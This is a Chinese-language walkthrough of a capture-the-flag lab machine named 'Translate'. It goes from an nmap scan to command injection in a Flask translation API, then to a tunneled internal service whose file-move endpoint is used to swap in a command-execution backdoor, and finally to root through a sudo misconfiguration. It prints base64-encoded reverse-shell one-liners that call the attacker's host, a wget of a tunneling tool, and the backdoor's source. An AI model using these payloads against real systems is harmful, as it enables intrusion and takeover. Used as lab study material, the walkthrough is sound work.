Translate

Nmap

```
[root@kali] /home/kali/translate
❯ nmap 192.168.55.60 -sV -A -p-

Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: \xE6\x88\x91\xE7\x9A\x84\xE9\xA1\xB5\xE9\x9D\xA2
5001/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.9.2)
|_http-title: 405 Method Not Allowed
|_http-server-header: Werkzeug/3.1.3 Python/3.9.2
```

`80`端口是静态页面，没有可以利用的东西

RCE

进入到`5001`端口显示`Method Not Allowed`

```
[root@kali] /home/kali/translate
❯ curl http://192.168.55.60:5001
<!doctype html>
<html lang=en>
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
```

改用`POST`请求

```
[root@kali] /home/kali/translate
❯ curl -X POST http://192.168.55.60:5001
{"error":"415 Unsupported Media Type: Did not attempt to load JSON data because
the request Content-Type was not 'application/json'."}
```

使用`json`格式发送

```
[root@kali] /home/kali/translate
❯ curl -X POST http://192.168.55.60:5001/ -H "Content-Type: application/json" -
d '{"key": "value"}'

{"error":"Missing required field: source_lang"}
```

加上`source_lang`

```
[root@kali] /home/kali/translate
❯ curl -X POST http://192.168.55.60:5001/ -H "Content-Type: application/json" -
d '{"source_lang": "en"}'

{"error":"Missing required field: target_lang"}
```

加上`target_lang`

```
[root@kali] /home/kali/translate
❯ curl -X POST http://192.168.55.60:5001/ -H "Content-Type: application/json" -
d '{"source_lang": "en","target_lang": "zh-cn"}'

{"error":"Missing required field: text_list"}
```

加上`text_list`

```
[root@kali] /home/kali/translate
❯ curl -X POST http://192.168.55.60:5001/ -H "Content-Type: application/json" -
d '{"source_lang": "en","target_lang": "zh-cn","text_list": ["hello"]}'

{"translations":[{"detected_source_lang":"en","text":""}]}
```

返回结果中`text`为空值，尝试进行命令注入呢，发现可以直接执行命令👇

```
[root@kali] /home/kali/translate
❯ curl -X POST http://192.168.55.60:5001/ -H "Content-Type: application/json" -
d '{"source_lang": "en","target_lang": "zh-cn","text_list": ["whoami"]}'

{"translations":[{"detected_source_lang":"en","text":"www-data\n"}]}
```

Own www-data

直接反弹`shell`

```
[root@kali] /home/kali/translate
❯ curl -X POST http://192.168.55.60:5001/ -H "Content-Type: application/json" -
d '{"source_lang": "en","target_lang": "zh-cn","text_list": ["printf
KGJhc2ggPiYgL2Rldi90Y3AvMTkyLjE2OC41NS40LzQ0NDQgMD4mMSkgJg==|base64 -d|bash"]}'

{"translations":[{"detected_source_lang":"en","text":""}]}
```

Own welcome

查看到内网端口开放，并且可能是`welcome`用户启动的服务

```
www-data@translate:~$ ls /home/
welcome
www-data@translate:~$ ss -tuln
Netid      State        Recv-Q       Send-Q             Local Address:Port
        Peer Address:Port
udp        UNCONN       0            0                        0.0.0.0:68
          0.0.0.0:*
tcp        LISTEN       0            128                      0.0.0.0:5001
          0.0.0.0:*
tcp        LISTEN       0            128                      0.0.0.0:22
          0.0.0.0:*
```

```
tcp        LISTEN      0           128                     127.0.0.1:8000
             0.0.0.0:*
tcp        LISTEN      0           128                             *:80
                   *:*
tcp        LISTEN      0           128                          [::]:22
                [::]:*
www-data@translate:~$ ps aux | grep welcome
welcome      399  0.0  0.0   2472   572 ?        Ss   23:13   0:00 /bin/sh -c
python3 /home/welcome/py/app.py
welcome      406  0.0  1.3  35132 27932 ?        S    23:13   0:00 python3
/home/welcome/py/app.py
welcome      473  0.1  1.3 109044 27552 ?        Sl   23:13   0:00
/usr/bin/python3 /home/welcome/py/app.py
www-data     683  0.0  0.0   6308   696 pts/0    S+   23:25   0:00 grep welcome
```

上传一个`chisel`

```
www-data@translate:/tmp$ busybox wget 192.168.55.4/chisel

www-data@translate:/tmp$ chmod +x chisel

```

`kali`端👇

```
[root@kali] /home/kali/Desktop
❯ ./chisel server --reverse --port 9999
```

靶机👇

```
www-data@translate:/tmp$ ./chisel client 192.168.55.4:9999
R:3000:127.0.0.1:8000 &
[1] 755

www-data@translate:/tmp$
```

出现这个即为连接正常👇，可以在`kali`端访问`127.0.0.1:3000`

```
[root@kali] /home/kali/Desktop
❯ ./chisel server --reverse --port 9999

2025/05/27 23:29:34 server: Reverse tunnelling enabled
2025/05/27 23:29:34 server: Fingerprint
LFPDpyRSzsRp6cE/kb3T/uxW+ScD4dMYSZzPx4VOSB8=
2025/05/27 23:29:34 server: Listening on http://0.0.0.0:9999
2025/05/27 23:30:01 server: session#1: tun: proxy#R:3000=>8000: Listening
```

这个是`app.py`的源码，可以直接读取到

```python
from flask import Flask, request, jsonify, send_file, render_template
import os
import shutil

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/id')
def show_id():
    try:
        # 执行id命令并获取输出
        output = os.popen('id').read()
        return render_template('id.html', id_info=output)
    except Exception as e:
        return jsonify({'error': str(e)}), 500

@app.route('/read', methods=['GET'])
def read_page():
    if 'path' in request.args:
        return read_file()
    return render_template('read.html')

@app.route('/move', methods=['GET', 'POST'])
def move_page():
    if request.method == 'POST':
        return move_file()
    return render_template('move.html')

def read_file():
    try:
        file_path = request.args.get('path')
        if not file_path:
            return jsonify({'error': '请提供文件路径'}), 400

        if not os.path.exists(file_path):
            return jsonify({'error': '文件不存在'}), 404

        # 返回文件内容
        return send_file(file_path)
    except Exception as e:
        return jsonify({'error': str(e)}), 500

def move_file():
    try:
        data = request.get_json()
        source_path = data.get('source')
        target_path = data.get('target')

        if not source_path or not target_path:
            return jsonify({'error': '请提供源文件路径和目标路径'}), 400

        if not os.path.exists(source_path):
            return jsonify({'error': '源文件不存在'}), 404

        # 确保目标目录存在
        target_dir = os.path.dirname(target_path)
        if not os.path.exists(target_dir):
            os.makedirs(target_dir)

        # 移动文件
        shutil.move(source_path, target_path)
        return jsonify({'message': '文件移动成功', 'target_path': target_path})
    except Exception as e:
        return jsonify({'error': str(e)}), 500

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8000, debug=True)
```

很明显可以进行文件移动，甚至是覆盖，因此可以再写一个恶意的 `flask` 服务将 `app.py` 覆盖掉，从而传入参数进行任意命令执行

```
www-data@translate:/tmp$ cat app.py

from flask import Flask, request, jsonify
import os
app = Flask(__name__)
@app.route('/')
def index():
    return '123'
@app.route('/poc', methods=['GET'])
def poc():
    try:
        cmd = request.args.get('cmd')
        if not cmd:
            return jsonify({'error': '缺少cmd参数'}), 400
        os.system(cmd)
        return 'ok'
    except Exception as e:
        return jsonify({'error': str(e)}), 500

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8000, debug=True)
```

进入 `127.0.0.1:3000`

```
源文件路径：/tmp/app.py
目标路径：/home/welcome/py/app.py
```

然后访问👇，出现 `ok` 即为命令执行成功

```
http://127.0.0.1:3000/poc?cmd=id
```

进行反弹 `shell`

```
http://127.0.0.1:3000/poc?cmd=printf
KGJhc2ggPiYgL2Rldi90Y3AvMTkyLjE2OC41NS40LzU1NTUgMD4mMSkgJg==|base64 -d|bash
```

可以写入 `ssh` 密钥，我这里就省略这一步了

Root

查看 `sudo -l`

```
welcome@translate:~$ sudo -l
sudo: unable to resolve host translate: Temporary failure in name resolution
Matching Defaults entries for welcome on translate:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on translate:
    (ALL) NOPASSWD: /usr/bin/bash
```

可以直接开 `bash` 了，

```
welcome@translate:~$ sudo /usr/bin/bash
sudo: unable to resolve host translate: Temporary failure in name resolution
root@translate:/home/welcome# id
uid=0(root) gid=0(root) groups=0(root)
root@translate:/home/welcome# cat /root/root.txt
flag{root-b601e9xxxxxxxx
root@translate:/home/welcome#
```